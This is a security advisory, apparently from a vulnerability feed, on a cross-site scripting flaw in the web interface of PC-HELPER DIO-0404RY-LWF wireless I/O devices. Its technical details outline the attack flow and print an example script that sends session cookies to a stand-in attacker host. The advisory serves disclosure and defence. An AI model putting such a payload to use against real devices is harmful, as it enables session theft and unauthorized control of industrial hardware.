Description

Cross-site scripting vulnerability exists in PC-HELPER Wireless I/O DIO-0404RY-LWF and PC-HELPER Wireless I/O DIO-0404RY-LWF-US. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user's web browser.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "5.4",
  "pubDate": "2026-09-14T07:17:21.063Z",
  "pubdate": "2026-09-14T07:17:21.063Z",
  "executiveSummary": "A Cross-Site Scripting (XSS) vulnerability has been identified in the web-based management interfaces of PC-HELPER Wireless I/O DIO-0404RY-LWF and DIO-0404RY-LWF-US devices.\nThis vulnerability allows an unauthenticated or authenticated attacker to inject and execute arbitrary JavaScript code within the context of a legitimate user's browser session.\nThe flaw stems from insufficient sanitization of user-supplied input before rendering it in the application's interface. Successful exploitation facilitates the theft of session cookies, sensitive information disclosure, or unauthorized actions performed on behalf of the victim.\nGiven the nature of the devices, which provide industrial or wireless I/O control, the compromise of a browser session could lead to further unauthorized interaction with the underlying control hardware if administrative sessions are targeted.\nThe vulnerability represents a significant risk to the integrity and confidentiality of the device management environment, primarily affecting users accessing the web configuration interface.",
  "technicalDetails": "The vulnerability is categorized as a Cross-Site Scripting (XSS) flaw, specifically involving the improper neutralization of input during web page generation. In PC-HELPER Wireless I/O DIO-0404RY-LWF and DIO-0404RY-LWF-US, the web server fails to implement adequate output encoding or input filtering on data parameters processed by the web management console.\nThe root cause lies in the application's failure to distinguish between data provided by the user and the execution context of the browser's Document Object Model (DOM). When an attacker provides a crafted payload—typically via URL parameters or form inputs—the application reflects this data back into the rendered HTML page without context-aware encoding. Consequently, the browser interprets the injected strings as executable JavaScript rather than plain text.\nExploitation follows a standard attack flow: 1) An attacker identifies a vulnerable parameter within the web interface that reflects input directly to the UI. 2) The attacker crafts a malicious payload containing JavaScript, such as '<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>'. 3) The attacker induces a logged-in user to click a specially crafted link containing the payload or submits the payload through an input field that is subsequently rendered on an administrative dashboard.\nUpon the victim's browser parsing the malicious response, the script executes within the security origin of the device's web management interface. This grants the attacker access to the same-origin scope, enabling the interception of session identifiers (Session IDs/Cookies), modification of the DOM to perform unauthorized configuration changes, or the redirection of the user to malicious sites.\nThe impact is significant as it does not require prior administrative privileges on the device itself; the attack is successful as long as a valid user session exists. Because the device is designed for I/O control, the XSS payload could be leveraged to forge requests to the backend API, allowing the attacker to alter device settings or state if the web interface lacks effective anti-CSRF protections or additional per-action validation. The vulnerability persists until the specific input entry points are sanitized or the rendering logic is updated to employ strict Content Security Policies (CSP) and proper HTML entity encoding."
}